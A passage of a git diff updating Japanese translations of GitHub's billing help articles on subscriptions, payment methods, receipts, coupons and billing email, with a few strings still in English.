 {% data reusables.dotcom_billing.choose_org_plan %}
 {% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
 {% data reusables.dotcom_billing.owned_by_business %}
 {% data reusables.dotcom_billing.finish_upgrade %}
 
-## Troubleshooting a 500 error when upgrading
+## アップグレード時の 500 エラーのトラブルシューティング
 
 {% data reusables.dotcom_billing.500-error %}
 
-## Further reading
+## 参考リンク
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
-- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
-- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
+- "[{% data variables.product.prodname_dotcom %}の製品](/articles/github-s-products)"
+- [アップグレードあるいはダウングレードの支払いプロセスへの影響は？](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)
+- 「[{% data variables.product.prodname_dotcom %} の支払いについて](/articles/about-billing-on-github)」
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
index 6b946551a5..327f6f05bc 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing pending changes to your subscription
-intro: You can view and cancel pending changes to your subscriptions before they take effect on your next billing date.
+title: プランの保留中の変更の表示と管理
+intro: 次回の請求日に発効する前に、プランの保留中の変更を表示およびキャンセルできます。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription
   - /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan
@@ -15,13 +15,14 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Pending subscription changes
+shortTitle: サブスクリプションの変更の保留
 ---
-You can cancel pending changes to your account's subscription as well as pending changes to your subscriptions to other paid features and products.
 
-When you cancel a pending change, your subscription will not change on your next billing date (unless you make a subsequent change to your subscription before your next billing date).
+アカウントのプランに対する保留中の変更、および他の有料機能や製品へのプランの保留中の変更をキャンセルすることができます。
 
-## Viewing and managing pending changes to your personal account's subscription
+保留中の変更をキャンセルしても、次回の請求日にプランが変更されることはありません (次回の請求日より前にプランに変更を加えない限り)。
+
+## 個人アカウントのプランに対する保留中の変更の表示と管理
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -29,13 +30,13 @@ When you cancel a pending change, your subscription will not change on your next
 {% data reusables.dotcom_billing.cancel-pending-changes %}
 {% data reusables.dotcom_billing.confirm-cancel-pending-changes %}
 
-## Viewing and managing pending changes to your organization's subscription
+## Organization のプランに対する保留中の変更の表示と管理
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.review-pending-changes %}
 {% data reusables.dotcom_billing.cancel-pending-changes %}
 {% data reusables.dotcom_billing.confirm-cancel-pending-changes %}
 
-## Further reading
+## 参考リンク
 
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
+- "[{% data variables.product.prodname_dotcom %}の製品](/articles/github-s-products)"
diff --git a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
index 0e83e3f545..932d60a23b 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Enterprise アカウントのプランおよび利用状況を表示する
 intro: 'You can view the current {% ifversion ghec %}subscription, {% endif %}license usage{% ifversion ghec %}, invoices, payment history, and other billing information{% endif %} for {% ifversion ghec %}your enterprise account{% elsif ghes %}{% data variables.product.product_location_enterprise %}{% endif %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: 'Enterprise owners {% ifversion ghec %}and billing managers {% endif %}can access and manage all billing settings for enterprise accounts.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/viewing-the-subscription-and-usage-for-your-enterprise-account
diff --git a/translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md b/translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
index 6d51a952ce..51cb098986 100644
--- a/translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
+++ b/translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
@@ -1,13 +1,13 @@
 ---
 title: Setting up Visual Studio subscriptions with GitHub Enterprise
-intro: "Your team's subscription to {% data variables.product.prodname_vs %} can also provide access to {% data variables.product.prodname_enterprise %}."
+intro: 'Your team''s subscription to {% data variables.product.prodname_vs %} can also provide access to {% data variables.product.prodname_enterprise %}.'
 versions:
   ghec: '*'
 type: how_to
 topics:
   - Enterprise
   - Licensing
-shortTitle: Set up
+shortTitle: 設定
 ---
 
 ## About setup of {% data variables.product.prodname_vss_ghe %}
@@ -20,22 +20,21 @@ This guide shows you how your team can get {% data variables.product.prodname_vs
 
 Before setting up {% data variables.product.prodname_vss_ghe %}, it's important to understand the roles for this combined offering.
 
-| Role | Service | Description | More information |
-| :- | :- | :- | :- |
-| **Subscriptions admin** | {% data variables.product.prodname_vs %} subscription | Person who assigns licenses for {% data variables.product.prodname_vs %} subscription | [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs |
-| **Subscriber** | {% data variables.product.prodname_vs %} subscription | Person who uses a license for {% data variables.product.prodname_vs %} subscription | [Visual Studio Subscriptions documentation](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft Docs |
-| **Enterprise owner** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's an administrator of an enterprise on {% data variables.product.product_location %} | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)" |
-| **Organization owner** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's an owner of an organization in your team's enterprise on {% data variables.product.product_location %} | "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" |
-| **Enterprise member** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's a member of an enterprise on {% data variables.product.product_location %} | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)"  |
+| Role                    | サービス                                                  | 説明                                                                                                                                          | 詳細情報                                                                                                                                              |
+|:----------------------- |:----------------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Subscriptions admin** | {% data variables.product.prodname_vs %} subscription | Person who assigns licenses for {% data variables.product.prodname_vs %} subscription                                                       | [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs        |
+| **Subscriber**          | {% data variables.product.prodname_vs %} subscription | Person who uses a license for {% data variables.product.prodname_vs %} subscription                                                         | [Visual Studio Subscriptions documentation](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft Docs                       |
+| **Enterprise オーナー**     | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's an administrator of an enterprise on {% data variables.product.product_location %}                     | 「[Enterprise のロール](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)」                             |
+| **Organization owner**  | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's an owner of an organization in your team's enterprise on {% data variables.product.product_location %} | "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" |
+| **Enterprise member**   | {% data variables.product.prodname_dotcom %}          | Person who has a user account that's a member of an enterprise on {% data variables.product.product_location %}                             | 「[Enterprise のロール](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)」                           |
 
-## Prerequisites
+## 必要な環境
 
-- Your team's {% data variables.product.prodname_vs %} subscription must include {% data variables.product.prodname_enterprise %}. For more information, see [{% data variables.product.prodname_vs %} Subscriptions and Benefits](https://visualstudio.microsoft.com/subscriptions/) on the {% data variables.product.prodname_vs %} website and
- [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs.
- 
- - Your team must have an enterprise on {% data variables.product.product_location %}. If you're not sure whether your team has an enterprise, contact your {% data variables.product.prodname_dotcom %} administrator. If you're not sure who on your team is responsible for {% data variables.product.prodname_dotcom %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+- Your team's {% data variables.product.prodname_vs %} subscription must include {% data variables.product.prodname_enterprise %}. For more information, see [{% data variables.product.prodname_vs %} Subscriptions and Benefits](https://visualstudio.microsoft.com/subscriptions/) on the {% data variables.product.prodname_vs %} website and [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs.
 
-## Setting up {% data variables.product.prodname_vss_ghe %}
+ - Your team must have an enterprise on {% data variables.product.product_location %}. If you're not sure whether your team has an enterprise, contact your {% data variables.product.prodname_dotcom %} administrator. If you're not sure who on your team is responsible for {% data variables.product.prodname_dotcom %}, contact {% data variables.contact.contact_enterprise_sales %}. 詳細は「[Enterprise アカウントについて](/admin/overview/about-enterprise-accounts)」を参照してください。
+
+## {% data variables.product.prodname_vss_ghe %}の設定方法
 
 To set up {% data variables.product.prodname_vss_ghe %}, members of your team must complete the following tasks.
 
@@ -49,20 +48,20 @@ One person may be able to complete the tasks because the person has all of the r
 
 1. If the subscription admin has not disabled email notifications, the subscriber will receive two confirmation emails. For more information, see [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) in Microsoft Docs.
 
-1. An organization owner must invite the subscriber to the organization on {% data variables.product.product_location %} from step 1. The subscriber can accept the invitation with an existing user account on {% data variables.product.prodname_dotcom_the_website %} or create a new account. After the subscriber joins the organization, the subscriber becomes an enterprise member. For more information, see "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
+1. An organization owner must invite the subscriber to the organization on {% data variables.product.product_location %} from step 1. サブスクライバーは、{% data variables.product.prodname_dotcom_the_website %} の既存のユーザ アカウントで招待を受け入れるか、新しいアカウントを作成できます。 After the subscriber joins the organization, the subscriber becomes an enterprise member. 詳しい情報については、「[ にユーザーを招待する](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)」を参照してください。
 
    {% tip %}
 
-   **Tips**:
+   **ヒント**:
 
    - While not required, we recommend that the organization owner sends an invitation to the same email address used for the subscriber's User Primary Name (UPN). When the email address on {% data variables.product.product_location %} matches the subscriber's UPN, you can ensure that another enterprise does not claim the subscriber's license.
-   - If the subscriber accepts the invitation to the organization with an existing user account on {% data variables.product.product_location %}, we recommend that the subscriber add the email address they use for {% data variables.product.prodname_vs %} to their user account on {% data variables.product.product_location %}. For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account)."
+   - If the subscriber accepts the invitation to the organization with an existing user account on {% data variables.product.product_location %}, we recommend that the subscriber add the email address they use for {% data variables.product.prodname_vs %} to their user account on {% data variables.product.product_location %}. 詳しい情報については「[{% data variables.product.prodname_dotcom %}アカウントへのメールアドレスの追加](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account)」を参照してください。
    - If the organization owner must invite a large number of subscribers, a script may make the process faster. For more information, see [the sample PowerShell script](https://github.com/github/platform-samples/blob/master/api/powershell/invite_members_to_org.ps1) in the `github/platform-samples` repository.
 
     {% endtip %}
 
-After {% data variables.product.prodname_vss_ghe %} is set up for subscribers on your team, enterprise owners can review licensing information on {% data variables.product.product_location %}. For more information, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
+After {% data variables.product.prodname_vss_ghe %} is set up for subscribers on your team, enterprise owners can review licensing information on {% data variables.product.product_location %}. 詳細は「[Enterprise アカウントのプランおよび利用状況を見る示](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[Getting started with {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud)"
+- 「[{% data variables.product.prodname_ghe_cloud %} を使ってみる](/get-started/onboarding/getting-started-with-github-enterprise-cloud)」
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
index 0454458409..15c1606d4d 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
@@ -1,6 +1,6 @@
 ---
-title: Adding information to your receipts
-intro: 'You can add extra information to your {% data variables.product.product_name %} receipts, such as tax or accounting information required by your company or country.'
+title: 領収書に情報を追加する
+intro: '{% data variables.product.product_name %} の領収書には、税金や会社あるいは国が求める会計情報などの情報を加えることができます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/adding-information-to-your-receipts
   - /articles/can-i-add-my-credit-card-number-to-my-receipts
@@ -21,28 +21,29 @@ topics:
   - Organizations
   - Receipts
   - User account
-shortTitle: Add to your receipts
+shortTitle: 領収書への追加
 ---
-Your receipts include your {% data variables.product.prodname_dotcom %} subscription as well as any subscriptions for [other paid features and products](/articles/about-billing-on-github).
+
+領収書には、{% data variables.product.prodname_dotcom %} プランと合わせて[他の有料の機能や製品](/articles/about-billing-on-github)のプランが含まれます。
 
 {% warning %}
 
-**Warning**: For security reasons, we strongly recommend against including any confidential or financial information (such as credit card numbers) on your receipts.
+**警告**: セキュリティ上の理由から、領収書には秘密情報や財務情報 (クレジットカード番号など) を含めないように強くおすすめします。
 
 {% endwarning %}
 
-## Adding information to your personal account's receipts
+## 個人アカウントの領収書への情報の追加
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.user_settings.payment-info-link %}
 {% data reusables.dotcom_billing.extra_info_receipt %}
 
-## Adding information to your organization's receipts
+## Organization の領収書への情報の追加
 
 {% note %}
 
-**Note**: {% data reusables.dotcom_billing.org-billing-perms %}
+**メモ**: {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% endnote %}
 
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
index bb9fc0e76c..0d0b69caee 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
@@ -1,6 +1,6 @@
 ---
-title: Adding or editing a payment method
-intro: You can add a payment method to your account or update your account's existing payment method at any time.
+title: 支払い方法を追加または編集する
+intro: アカウントに支払い方法を追加したり、アカウントの既存の支払い方法を更新することはいつでもできます。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/adding-or-editing-a-payment-method
   - /articles/updating-your-personal-account-s-payment-method
@@ -24,31 +24,29 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Manage a payment method
+shortTitle: 支払い方法の管理
 ---
+
 {% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %}
 
-We don't provide invoicing or support purchase orders for personal accounts. We email receipts monthly or yearly on your account's billing date. If your company, country, or accountant requires your receipts to provide more detail, you can also [add extra information](/articles/adding-information-to-your-personal-account-s-receipts) to your receipts.
+個人アカウントに対する請求書の対応や、発注書のサポートはしておりません。 アカウントの月次もしくは年次の支払日に、領収書をメールします。 あなたの会社、国、会計士が領収書にさらなる詳細を必要とする場合は、領収書に[情報を追加](/articles/adding-information-to-your-personal-account-s-receipts)できます。
 
-## Updating your personal account's payment method
+## 個人アカウントの支払い方法を更新する
 
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.update_payment_method %}
-1. If your account has existing billing information that you want to update, click **Edit**.
-![Billing New Card button](/assets/images/help/billing/billing-information-edit-button.png)
+1. If your account has existing billing information that you want to update, click **Edit**. ![支払の新しいカードボタン](/assets/images/help/billing/billing-information-edit-button.png)
 {% data reusables.dotcom_billing.enter-billing-info %}
-1. If your account has an existing payment method that you want to update, click **Edit**.
-![Billing New Card button](/assets/images/help/billing/billing-payment-method-edit-button.png)
+1. If your account has an existing payment method that you want to update, click **Edit**. ![支払の新しいカードボタン](/assets/images/help/billing/billing-payment-method-edit-button.png)
 {% data reusables.dotcom_billing.enter-payment-info %}
 
-## Updating your organization's payment method
+## Organization の支払い方法を更新する
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-If your organization is outside of the US or if you're using a corporate checking account to pay for {% data variables.product.product_name %}, PayPal could be a helpful method of payment.
+Organization がアメリカ外にあるか、{% data variables.product.product_name %} への支払いに会社の当座預金口座を使っているなら、支払い方法として PayPal が役立つかもしれません
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.update_payment_method %}
-1. If your account has an existing credit card that you want to update, click **New Card**.
-![Billing New Card button](/assets/images/help/billing/billing-new-card-button.png)
+1. アカウントに既存のクレジットカードがあり、更新したい場合には、**New Card（新しいカード）**をクリックしてください。 ![支払の新しいカードボタン](/assets/images/help/billing/billing-new-card-button.png)
 {% data reusables.dotcom_billing.enter-payment-info %}
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
index 539ae1e931..f96b6281d0 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the duration of your billing cycle
-intro: You can pay for your account's subscription and other paid features and products on a monthly or yearly billing cycle.
+title: 支払いサイクル期間の変更
+intro: アカウントのプランや、その他有料機能、有料製品は、月次または年次のサイクルで支払うことができます。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/changing-the-duration-of-your-billing-cycle
   - /articles/monthly-and-yearly-billing
@@ -16,31 +16,30 @@ topics:
   - Organizations
   - Repositories
   - User account
-shortTitle: Billing cycle
+shortTitle: 支払いサイクル
 ---
-When you change your billing cycle's duration, your {% data variables.product.prodname_dotcom %} subscription, along with any other paid features and products, will be moved to your new billing cycle on your next billing date.
 
-## Changing the duration of your personal account's billing cycle
+支払いサイクル期間を変更すると、{% data variables.product.prodname_dotcom %}のプランおよびその他の有料機能、有料製品は、次の支払日から新しい支払いサイクルに移行します。
+
+## 個人アカウントの支払いサイクル期間の変更
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.change_plan_duration %}
 {% data reusables.dotcom_billing.confirm_duration_change %}
 
-## Changing the duration of your organization's billing cycle
+## Organization の支払いサイクル期間の変更
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-### Changing the duration of a per-user subscription
+### ユーザ単位プランの期間の変更
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.change_plan_duration %}
 {% data reusables.dotcom_billing.confirm_duration_change %}
 
-### Changing the duration of a legacy per-repository plan
+### 過去のリポジトリ単位プランの期間の変更
 
 {% data reusables.organizations.billing-settings %}
-4. Under "Billing overview", click **Change plan**.
-  ![Billing overview change plan button](/assets/images/help/billing/billing_overview_change_plan.png)
-5. At the top right corner, click **Switch to monthly billing** or **Switch to yearly billing**.
-  ![Billing information section](/assets/images/help/billing/settings_billing_organization_plans_switch_to_yearly.png)
+4. [Billing overview] で、[**Change plan**] をクリックします。 ![[Billing overview] の [Change plan] ボタン](/assets/images/help/billing/billing_overview_change_plan.png)
+5. ページの右上で [**Switch to monthly billing**] または [**Switch to yearly billing**] をクリックします。 ![支払い情報セクション](/assets/images/help/billing/settings_billing_organization_plans_switch_to_yearly.png)
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/index.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/index.md
index c8d94f174f..19230cfbf5 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/index.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing your GitHub billing settings
-shortTitle: Billing settings
-intro: 'Your account''s billing settings apply to every paid feature or product you add to the account. You can manage settings like your payment method, billing cycle, and billing email. You can also view billing information such as your subscription, billing date, payment history, and past receipts.'
+title: GitHub の支払い設定を管理する
+shortTitle: 支払い設定
+intro: お使いのアカウントの支払い設定は、アカウントに追加する各有料機能または製品に適用されます。 支払い方法、支払いサイクル、支払い請求先メールアドレスなどの設定を管理できます。 また、ご利用のプラン、請求日、支払い履歴、過去の領収証などの支払い情報を表示することもできます。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings
   - /articles/viewing-and-managing-your-personal-account-s-billing-information
@@ -25,6 +25,5 @@ children:
   - /redeeming-a-coupon
   - /troubleshooting-a-declined-credit-card-charge
   - /unlocking-a-locked-account
-  - /removing-a-payment-method
 ---
 
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
index 2a416cdc8f..5e5465f01c 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
@@ -1,6 +1,6 @@
 ---
-title: Redeeming a coupon
-intro: 'If you have a coupon, you can redeem it towards a paid {% data variables.product.prodname_dotcom %} subscription.'
+title: クーポンを利用する
+intro: 'クーポンがある場合、{% data variables.product.prodname_dotcom %} の有料プランに利用できます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/redeeming-a-coupon
   - /articles/where-do-i-add-a-coupon-code
@@ -18,24 +18,23 @@ topics:
   - Organizations
   - User account
 ---
-{% data variables.product.product_name %} can't issue a refund if you pay for an account before applying a coupon. We also can't transfer a redeemed coupon or give you a new coupon if you apply it to the wrong account. Confirm that you're applying the coupon to the correct account before you redeem a coupon.
+
+{% data variables.product.product_name %}では、クーポンを適用する前にアカウントの支払いをした場合の返金はできません。 また、適用先のアカウントを間違えた場合にも、利用したクーポンの移譲や新たなクーポンの発行はできません。 クーポンを利用する前に、クーポンを正しいアカウントに適用していることを確認してください。
 
 {% data reusables.dotcom_billing.coupon-expires %}
 
-You cannot apply coupons to paid plans for {% data variables.product.prodname_marketplace %} apps.
+クーポンは {% data variables.product.prodname_marketplace %}アプリケーションの有料プランには適用できません。
 
-## Redeeming a coupon for your personal account
+## 個人アカウントでクーポンを利用する
 
 {% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %}
-4. Under "Redeem your coupon", click **Choose** next to your *personal* account's username.
-   ![Choose button](/assets/images/help/settings/redeem-coupon-choose-button-for-personal-accounts.png)
+4. [Redeem your coupon] の下で、*個人*アカウントのユーザ名の横にある [**Choose**] をクリックします。 ![選択ボタン](/assets/images/help/settings/redeem-coupon-choose-button-for-personal-accounts.png)
 {% data reusables.dotcom_billing.redeem_coupon %}
 
-## Redeeming a coupon for your organization
+## Organization でクーポンを利用する
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %}
-4. Under "Redeem your coupon", click **Choose** next to the *organization* you want to apply the coupon to. If you'd like to apply your coupon to a new organization that doesn't exist yet, click **Create a new organization**.
-   ![Choose button](/assets/images/help/settings/redeem-coupon-choose-button.png)
+4. 「Redeem your coupon」の下で、クーポンを適用する *Organization* の横にある [**Choose**] をクリックします。 まだ存在していない新しい Organization にクーポンを適用する場合は、[**Create a new organization**] をクリックします。 ![選択ボタン](/assets/images/help/settings/redeem-coupon-choose-button.png)
 {% data reusables.dotcom_billing.redeem_coupon %}
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
deleted file mode 100644
index 8e7fe2ed0b..0000000000
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Removing a payment method
-intro: 'If you aren''t using your payment method for any paid subscriptions on {% data variables.product.prodname_dotcom %}, you can remove the payment method so it''s no longer stored in your account.'
-redirect_from:
-  - /github/setting-up-and-managing-billing-and-payments-on-github/removing-a-payment-method
-  - /articles/removing-a-credit-card-associated-with-your-user-account
-  - /articles/removing-a-payment-method-associated-with-your-user-account
-  - /articles/removing-a-credit-card-associated-with-your-organization
-  - /articles/removing-a-payment-method-associated-with-your-organization
-  - /articles/removing-a-payment-method
-  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/removing-a-payment-method
-versions:
-  fpt: '*'
-  ghec: '*'
-type: how_to
-topics:
-  - Organizations
-  - User account
----
-If you're paying for your {% data variables.product.product_name %} subscription with a coupon, and you aren't using your payment method for any [other paid features or products](/articles/about-billing-on-github) on {% data variables.product.product_name %}, you can remove your credit card or PayPal information.
-
-{% data reusables.dotcom_billing.coupon-expires %}
-
-{% tip %}
-
-**Tip:** If you [downgrade your account to a free product](/articles/downgrading-your-github-subscription) and you don't have subscriptions for any other paid features or products, we'll automatically remove your payment information.
-
-{% endtip %}
-
-## Removing your personal account's payment method
-
-{% data reusables.user_settings.access_settings %}
-{% data reusables.user_settings.billing_plans %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
-
-## Removing your organization's payment method
-
-{% data reusables.dotcom_billing.org-billing-perms %}
-
-{% data reusables.organizations.billing-settings %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
index 66805ec15f..3f054f5e28 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
@@ -1,6 +1,6 @@
 ---
-title: Setting your billing email
-intro: 'Your account''s billing email is where {% data variables.product.product_name %} sends receipts and other billing-related communication.'
+title: 支払い請求先メールアドレスを設定する
+intro: 'お客様の支払い請求先メールアドレスに、{% data variables.product.product_name %} が領収書およびその他の請求関連の連絡を送ります。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-your-billing-email
   - /articles/setting-your-personal-account-s-billing-email
@@ -16,58 +16,51 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Billing email
+shortTitle: 支払いメール
 ---
-## Setting your personal account's billing email
 
-Your personal account's primary email is where {% data variables.product.product_name %} sends receipts and other billing-related communication.
+## 個人アカウントの支払い請求先メールアドレスを設定する
 
-Your primary email address is the first email listed in your account email settings.
-We also use your primary email address as our billing email address.
+お客様の個人アカウントのプライマリメールアドレスに、{% data variables.product.product_name %} が領収書およびその他の請求関連の連絡を送ります。
 
-If you'd like to change your billing email, see "[Changing your primary email address](/articles/changing-your-primary-email-address)."
+プライマリメールアドレスは、アカウントのメール設定に入力した最初のメールアドレスです。 また、プライマリメールアドレスを支払い請求先メールアドレスとして使えます。
 
-## Setting your organization's billing email
+支払い請求先メールアドレスを変更したい場合は「[プライマリメールアドレスを変更する](/articles/changing-your-primary-email-address)」を参照してください。
 
-Your organization's billing email is where {% data variables.product.product_name %} sends receipts and other billing-related communication. The email address does not need to be unique to the organization account.
+## Organization の支払い請求先メールアドレスを設定する
+
+お客様の Organization の請求先メールアドレスに、{% data variables.product.product_name %} が領収書およびその他の請求関連の連絡を送ります。 このメールアドレスは、Organization アカウント専用である必要はありません。
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", to the right of the billing email address, click **Edit**.
-  ![Current billing emails](/assets/images/help/billing/billing-change-email.png)
-2. Type a valid email address, then click **Update**.
-  ![Change billing email address modal](/assets/images/help/billing/billing-change-email-modal.png)
